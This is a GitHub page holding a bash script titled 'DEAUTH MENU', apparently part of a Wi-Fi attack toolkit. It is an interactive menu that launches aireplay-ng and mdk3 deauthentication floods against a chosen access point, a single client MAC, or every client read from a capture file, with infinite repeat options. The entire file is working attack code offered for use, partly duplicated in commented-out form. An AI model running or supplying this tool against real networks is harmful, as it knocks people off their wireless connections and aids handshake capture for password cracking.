-
Notifications
You must be signed in to change notification settings - Fork 3
/
lh2
263 lines (262 loc) · 7.04 KB
/
lh2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#! /bin/bash
#############DEFAULTS###############
#setting yellow-start
YS="\e[1;33m"
#setting color-end
CE="\e[0m"
#setting red-start
RS="\e[1;31m"
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key$CE to"
PAKTC="Press "$YS"any key$CE to continue..."
PAKTGB="Press "$YS"any key$CE to go back..."
####################################
printf '\033]2;DEAUTH MENU\a'
k=1
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
#~ while (( $k != 0 ))
#~ do
#~ echo -e "------------------------------"$RS"DEAUTH"$CE"------------------------------"
#~ if [ "$REDEAUTH" = "y" ]
#~ then
#~ export LASTOPTIONS
#~ xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && $LASTOPTIONS && exit; exec bash'
#~ #aireplay-ng $LASTOPTIONS
#~ else
#~ echo -e "Do you want to deauth a specific client?"$YNNO": "
#~ read -e OPTION
#~ if [ "$OPTION" = "y" ]
#~ then
#~ echo -e "Enter client's MAC: "
#~ read -e TCC
#~ echo -e "Type number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
#~ read -e DEAUTHS
#~ clear
#~ if [ -z $DEAUTHS ]
#~ then
#~ DEAUTHS=0
#~ fi
#~ LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB -c $TCC $WLANNM"
#~ export DEAUTHS
#~ export TARGB
#~ export TCC
#~ xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $TCC $WLANNM && exit; exec bash'
#~ #aireplay-ng -0 $DEAUTHS -a $TARGB -c $TCC wlan0mon
#~ #sleep 1h
#~ else
#~ echo -e "Use mkd3 method?"$YNNO":"
#~ read -e MKD3YN
#~ if [ "$MKD3YN" = "y" ]
#~ then
#~ echo "$TARGB" > /root/mdk3bssid.txt
#~ LASTOPTIONS="mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC"
#~ export DEAUTHS
#~ export TARGB
#~ xterm -geometry 90x15+9999+999999 -e bash -c 'mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC; exec bash'
#~ else
#~ echo -e "Type the number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
#~ read -e DEAUTHS
#~ if [ -z $DEAUTHS ]
#~ then
#~ DEAUTHS=0
#~ fi
#~ LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM"
#~ export DEAUTHS
#~ export TARGB
#~ xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM && exit; exec bash'
#~ fi
#~ fi
#~ fi
#~ clear
#~ #----------------------------------------------------------------------------------------------------------------------------------
#~ echo -e "Re-deauth with the same exact settings?"$YNYES"("$YS"0"$CE"=Exit): "
#~ read -e REDEAUTH
#~ if [ "$REDEAUTH" = "n" ]
#~ then
#~ echo -e "Exit completely?"$YNNO": "
#~ read -e EXIT
#~ if [ "$EXIT" = "y" ]
#~ then
#~ k=0
#~ else
#~ clear
#~ exec bash "$0"
#~ fi
#~ elif [ "$REDEAUTH" = "0" ]
#~ then
#~ exit
#~ else
#~ clear
#~ REDEAUTH="y"
#~ fi
#~ done
#~ echo -e "Sure?"$YNNO": "
#~ read -e BB
#~ if [ "$BB" = "y" ]
#~ then
#~ clear
#~ exit
#~ else
#~ clear
#~ exec bash "$0"
#~ fi
####################################
printf '\033]2;DEAUTH MENU\a'
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
function option4
{
rm -f /root/lscript/deauthtemp.txt
while true
do
echo -e "Searching for clients(If it doesnt load in 1 sec, it won't.)"
dlines=$(cat $HANDFORDEAUTH | awk 'END{print NR}')
dlines=$((dlines-6))
clear
echo -e "Found $dlines clients."
if [ $dlines -gt 0 ]
then
n=0
while [ $n -lt $dlines ]
do
n=$((n+1))
n1=$((5+n))
MAC=$(cat $HANDFORDEAUTH | awk -v nn="$n1" '{FS=","}{if(NR==nn)print $1}')
if [[ $MAC = "" ]]
then
echo -e "Empty MAC.Skipping..."
continue
fi
if [ -f /root/lscript/deauthtemp.txt ]
then
CHECKMAC=$(cat /root/lscript/deauthtemp.txt | awk -v n2="$MAC" '{if($0 ~ n2)print}')
if [[ $CHECKMAC != "" ]]
then
echo -e "$MAC already being deauthed.Skipping..."
continue
fi
fi
echo $MAC >> /root/lscript/deauthtemp.txt
echo -e "Deauthing "$MAC"..."
export MAC
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 0 -a $TARGB -c $MAC $WLANNM; exec bash' & disown
done
else
echo -e "No clients connected..."
fi
sleep 5
clear
break
#sleep 5
done
}
while true
do
clear
echo -e ""$YS" 1"$CE") Deauth all aireplay-ng"
echo -e ""$YS" 2"$CE") Deauth all mdk3"
echo -e ""$YS" 3"$CE") Deauth client aireplay-ng"
if [[ $HANDF != 0 || $HANDF != "" ]]
then
echo -e ""$YS" 4"$CE") Deauth every client aireplay-ng"
fi
if [[ HANDFORDEAUTH != "" ]]
then
echo -e ""$YS"ENTER"$CE") Last option"
fi
echo -e ""$YS" 0"$CE") EXIT"
read DT
if [ $DT = 1 ]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read -e DEAUTHS
if [ -z $DEAUTHS ]
then
DEAUTHS=0
fi
LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM && exit; exec bash'
elif [ $DT = "" ]
then
if [[ HANDFORDEAUTH != "" ]]
then
if [[ LASTOPTIONS != "" ]]
then
if [[ LASTOPTIONS = 1 ]]
then
option4
else
$LASTOPTIONS
fi
fi
fi
elif [ $DT = 2 ]
then
echo "$TARGB" > /root/mdk3bssid.txt
LASTOPTIONS="mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC; exec bash'
elif [ $DT = 3 ]
then
echo -e "Client's MAC: "
read -e TCC
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read -e DEAUTHS
clear
if [ -z $DEAUTHS ]
then
DEAUTHS=0
fi
LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB -c $TCC $WLANNM"
export DEAUTHS
export TARGB
export TCC
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $TCC $WLANNM && exit; exec bash'
elif [ $DT = 4 ]
then
LASTOPTIONS=1
#~ # MAKE THIS OPTION AVAILABLE ONLY IF A FILE IS CREATED
#~ rm -f /root/lscript/deauthtemp.txt
#~ while true
#~ do
#~ dlines=$(cat $HANDFORDEAUTH | awk 'END{print NR}')
#~ dlines=$((dlines-5))
#~ if [ $dlines -gt 0 ]
#~ then
#~ n=1
#~ while [ $n -le $dlines ]
#~ do
#~ n1=$((5+n))
#~ MAC=$(cat $HANDFORDEAUTH | awk -v nn="$n1" '{FS=","}{if(NR==nn)print $1}')
#~ if [ -f /root/lscript/deauthtemp.txt ]
#~ then
#~ CHECKMAC=$(cat /root.lscript/deauthtemp.txt | awk -v n2="$MAC" '{if($0 ~ n2)}print')
#~ if [[ $CHECKMAC != "" ]]
#~ then
#~ continue
#~ else
#~ echo $MAC >> /root/lscript/deauthtemp.txt
#~ fi
#~ fi
#~ xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $MAC $WLANNM && disown; exec bash'
#~ n=$((n+1))
#~ done
#~ fi
#~ sleep 5
#~ done
#~ ---------------------
option4
elif [ $DT = 0 ]
then
exit
fi
done